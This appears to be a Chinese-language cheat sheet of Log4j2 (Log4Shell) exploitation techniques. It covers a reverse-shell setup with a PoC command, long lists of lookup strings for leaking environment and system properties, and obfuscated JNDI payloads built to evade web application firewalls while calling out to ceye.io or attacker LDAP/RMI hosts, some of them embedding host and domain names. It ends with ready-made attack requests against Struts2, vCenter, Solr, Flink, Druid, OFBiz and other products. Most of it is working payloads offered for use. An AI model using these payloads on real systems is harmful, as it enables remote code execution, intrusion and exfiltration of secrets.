【实战】log4j2远程命令执行漏洞利用姿势汇总
0x00 反弹shell
靶机：10.110.13.153
java -jar log4jRCE-0.0.1-SNAPSHOT.jar
http://10.110.13.153:18080/
攻击机：10.110.13.106
python3 poc.py --userip 10.110.13.106 --webport 8000 --lport 2345
攻击机开启监听后，执行payload获取shell：
0x01 获取敏感数据
log4j-java
| ID | usage | method |
| 1 | ${java:version} | getSystemProperty("java.version") |
| 2 | ${java:runtime} | getRuntime() |
| 3 | ${java:vm} | getVirtualMachine() |
| 4 | ${java:os} | getOperatingSystem() |
| 5 | ${java:hw} | getHardware() |
| 6 | ${java:locale} | getLocale() |
数据中包含特殊字符时可考虑采用dns进行带外
依此类推
Linux
| id | usage |
| 1 | ${env:CLASSPATH} |
| 2 | ${env:HOME} |
| 3 | ${env:JAVA_HOME} |
| 4 | ${env:LANG} |
| 5 | ${env:LC_TERMINAL} |
| 6 | ${env:LC_TERMINAL_VERSION} |
| 7 | ${env:LESS} |
| 8 | ${env:LOGNAME} |
| 9 | ${env:LSCOLORS} |
| 10 | ${env:LS_COLORS} |
| 11 | ${env:MAIL} |
| 12 | ${env:NLSPATH} |
| 13 | ${env:OLDPWD} |
| 14 | ${env:PAGER} |
| 15 | ${env:PATH} |
| 16 | ${env:PWD} |
| 17 | ${env:SHELL} |
| 18 | ${env:SHLVL} |
| 19 | ${env:SSH_CLIENT} |
| 20 | ${env:SSH_CONNECTION} |
| 21 | ${env:SSH_TTY} |
| 22 | ${env:TERM} |
| 23 | ${env:USER} |
| 24 | ${env:XDG_RUNTIME_DIR} |
| 25 | ${env:XDG_SESSION_ID} |
| 26 | ${env:XFILESEARCHPATH} |
| 27 | ${env:ZSH} |
Windows
| id | usage |
| 1 | ${env:A8_HOME} |
| 2 | ${env:A8_ROOT_BIN} |
| 3 | ${env:ALLUSERSPROFILE} |
| 4 | ${env:APPDATA} |
| 5 | ${env:CATALINA_BASE} |
| 6 | ${env:CATALINA_HOME} |
| 7 | ${env:CATALINA_OPTS} |
| 8 | ${env:CATALINA_TMPDIR} |
| 9 | ${env:CLASSPATH} |
| 10 | ${env:CLIENTNAME} |
| 11 | ${env:COMPUTERNAME} |
| 12 | ${env:ComSpec} |
| 13 | ${env:CommonProgramFiles} |
| 14 | ${env:CommonProgramFiles(x86)} |
| 15 | ${env:CommonProgramW6432} |
| 16 | ${env:FP_NO_HOST_CHECK} |
| 17 | ${env:HOMEDRIVE} |
| 18 | ${env:HOMEPATH} |
| 19 | ${env:JRE_HOME} |
| 20 | ${env:Java_Home} |
| 21 | ${env:LOCALAPPDATA} |
| 22 | ${env:LOGONSERVER} |
| 23 | ${env:NUMBER_OF_PROCESSORS} |
| 24 | ${env:OS} |
| 25 | ${env:PATHEXT} |
| 26 | ${env:PROCESSOR_ARCHITECTURE} |
| 27 | ${env:PROCESSOR_IDENTIFIER} |
| 28 | ${env:PROCESSOR_LEVEL} |
| 29 | ${env:PROCESSOR_REVISION} |
| 30 | ${env:PROMPT} |
| 31 | ${env:PSModulePath} |
| 32 | ${env:PUBLIC} |
| 33 | ${env:Path} |
| 34 | ${env:ProgramData} |
| 35 | ${env:ProgramFiles} |
| 36 | ${env:ProgramFiles(x86)} |
| 37 | ${env:ProgramW6432} |
| 38 | ${env:SESSIONNAME} |
| 39 | ${env:SystemDrive} |
| 40 | ${env:SystemRoot} |
| 41 | ${env:TEMP} |
| 42 | ${env:TMP} |
| 43 | ${env:ThisExitCode} |
| 44 | ${env:USERDOMAIN} |
| 45 | ${env:USERNAME} |
| 46 | ${env:USERPROFILE} |
| 47 | ${env:WORK_PATH} |
| 48 | ${env:windir} |
| 49 | ${env:windows_tracing_flags} |
| 50 | ${env:windows_tracing_logfile} |
log4j2-sys
| id | usage |
| 1 | ${sys:awt.toolkit} |
| 2 | ${sys:file.encoding} |
| 3 | ${sys:file.encoding.pkg} |
| 4 | ${sys:file.separator} |
| 5 | ${sys:java.awt.graphicsenv} |
| 6 | ${sys:java.awt.printerjob} |
| 7 | ${sys:java.class.path} |
| 8 | ${sys:java.class.version} |
| 9 | ${sys:java.endorsed.dirs} |
| 10 | ${sys:java.ext.dirs} |
| 11 | ${sys:java.home} |
| 12 | ${sys:java.io.tmpdir} |
| 13 | ${sys:java.library.path} |
| 14 | ${sys:java.runtime.name} |
| 15 | ${sys:java.runtime.version} |
| 16 | ${sys:java.specification.name} |
| 17 | ${sys:java.specification.vendor} |
| 18 | ${sys:java.specification.version} |
| 19 | ${sys:java.vendor} |
| 20 | ${sys:java.vendor.url} |
| 21 | ${sys:java.vendor.url.bug} |
| 22 | ${sys:java.version} |
| 23 | ${sys:java.vm.info} |
| 24 | ${sys:java.vm.name} |
| 25 | ${sys:java.vm.specification.name} |
| 26 | ${sys:java.vm.specification.vendor} |
| 27 | ${sys:java.vm.specification.version} |
| 28 | ${sys:java.vm.vendor} |
| 29 | ${sys:java.vm.version} |
| 30 | ${sys:line.separator} |
| 31 | ${sys:os.arch} |
| 32 | ${sys:os.name} |
| 33 | ${sys:os.version} |
| 34 | ${sys:path.separator} |
| 35 | ${sys:sun.arch.data.model} |
| 36 | ${sys:sun.boot.class.path} |
| 37 | ${sys:sun.boot.library.path} |
| 38 | ${sys:sun.cpu.endian} |
| 39 | ${sys:sun.cpu.isalist} |
| 40 | ${sys:sun.desktop} |
| 41 | ${sys:sun.io.unicode.encoding} |
| 42 | ${sys:sun.java.command} |
| 43 | ${sys:sun.java.launcher} |
| 44 | ${sys:sun.jnu.encoding} |
| 45 | ${sys:sun.management.compiler} |
| 46 | ${sys:sun.os.patch.level} |
| 47 | ${sys:sun.stderr.encoding} |
| 48 | ${sys:user.country} |
| 49 | ${sys:user.dir} |
| 50 | ${sys:user.home} |
| 51 | ${sys:user.language} |
| 52 | ${sys:user.name} |
| 53 | ${sys:user.script} |
| 54 | ${sys:user.timezone} |
| 55 | ${sys:user.variant} |
0x02 WAF Bypass
${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io
0x03 其它已知受影响组件可利用的payload
Apache struts2
http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'
http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
VMWare VCenter
"X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon- machine.lan?SAMLRequest="
Apache James
"smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/a}@gmail.com' --mail-rcpt 'test' --upload-file email.txt
Apache Solr
/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json
/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://0.0.0.0/123%7D&wt=json
/solr/admin/info/system?_=${jndi:ldap://0.0.0.0/123}&wt=json
/solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=${jndi:ldap://0.0.0.0/123}&name=&schema=&wt=
Apache Flink
POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run
Apache Druid
/druid/coordinator/${jndi:ldap://0.0.0.0/123}
/druid/indexer/${jndi:ldap://0.0.0.0/123}
/druid/v2/${jndi:ldap://0.0.0.0/123}
curl -vv -X DELETE 'http://xxxxxx:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2fdruid_test.yyyyyyyy%7d'
Apache JSPWiki
http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
Apache OFBiz
"Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main
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